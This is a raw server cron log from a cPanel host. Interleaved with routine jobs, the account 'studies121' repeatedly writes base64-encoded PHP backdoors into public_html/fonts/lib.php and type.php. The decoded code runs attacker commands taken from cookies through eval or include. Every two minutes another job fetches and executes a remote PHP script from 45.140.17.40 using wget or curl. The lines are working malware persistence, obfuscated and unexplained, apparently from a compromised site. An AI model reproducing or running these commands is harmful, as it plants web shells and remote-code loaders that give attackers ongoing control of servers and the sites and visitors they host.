Sep  1 20:55:01 ip-184-168-122-23 CROND[23649]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:55:01 ip-184-168-122-23 CROND[23651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:55:01 ip-184-168-122-23 CROND[23652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:55:01 ip-184-168-122-23 CROND[23653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:55:01 ip-184-168-122-23 CROND[23655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:56:01 ip-184-168-122-23 CROND[23749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:56:01 ip-184-168-122-23 CROND[23754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:56:01 ip-184-168-122-23 CROND[23751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:56:01 ip-184-168-122-23 CROND[23752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:56:01 ip-184-168-122-23 CROND[23753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:57:01 ip-184-168-122-23 CROND[23837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:57:01 ip-184-168-122-23 CROND[23838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:57:01 ip-184-168-122-23 CROND[23836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:57:01 ip-184-168-122-23 CROND[23839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:58:01 ip-184-168-122-23 CROND[23928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:58:01 ip-184-168-122-23 CROND[23929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:58:01 ip-184-168-122-23 CROND[23932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:58:01 ip-184-168-122-23 CROND[23933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:58:01 ip-184-168-122-23 CROND[23934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:59:01 ip-184-168-122-23 CROND[24099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:59:01 ip-184-168-122-23 CROND[24101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:59:01 ip-184-168-122-23 CROND[24102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:59:01 ip-184-168-122-23 CROND[24103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:00:01 ip-184-168-122-23 CROND[24186]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:00:01 ip-184-168-122-23 CROND[24189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:00:01 ip-184-168-122-23 CROND[24190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:00:01 ip-184-168-122-23 CROND[24193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:00:01 ip-184-168-122-23 CROND[24192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:00:01 ip-184-168-122-23 CROND[24196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:00:01 ip-184-168-122-23 CROND[24197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:00:01 ip-184-168-122-23 CROND[24199]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:01:01 ip-184-168-122-23 CROND[24294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:01:01 ip-184-168-122-23 CROND[24296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:01:01 ip-184-168-122-23 CROND[24300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:01:01 ip-184-168-122-23 CROND[24298]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 21:01:01 ip-184-168-122-23 CROND[24297]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 21:01:01 ip-184-168-122-23 CROND[24299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24297]: starting 0anacron
Sep  1 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24316]: finished 0anacron
Sep  1 21:02:01 ip-184-168-122-23 CROND[24389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:02:01 ip-184-168-122-23 CROND[24391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:02:01 ip-184-168-122-23 CROND[24392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:02:01 ip-184-168-122-23 CROND[24394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:02:01 ip-184-168-122-23 CROND[24393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:03:01 ip-184-168-122-23 CROND[24473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:03:01 ip-184-168-122-23 CROND[24475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:03:01 ip-184-168-122-23 CROND[24478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:03:01 ip-184-168-122-23 CROND[24476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:04:01 ip-184-168-122-23 CROND[24553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:04:01 ip-184-168-122-23 CROND[24555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:04:01 ip-184-168-122-23 CROND[24554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:04:01 ip-184-168-122-23 CROND[24558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:04:01 ip-184-168-122-23 CROND[24557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:05:01 ip-184-168-122-23 CROND[24739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:05:01 ip-184-168-122-23 CROND[24742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:05:01 ip-184-168-122-23 CROND[24744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:05:01 ip-184-168-122-23 CROND[24741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:05:01 ip-184-168-122-23 CROND[24746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:05:01 ip-184-168-122-23 CROND[24743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:05:01 ip-184-168-122-23 CROND[24745]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 21:06:01 ip-184-168-122-23 CROND[24827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:06:01 ip-184-168-122-23 CROND[24829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:06:01 ip-184-168-122-23 CROND[24830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:06:01 ip-184-168-122-23 CROND[24832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:06:01 ip-184-168-122-23 CROND[24831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:07:01 ip-184-168-122-23 CROND[24912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:07:01 ip-184-168-122-23 CROND[24911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
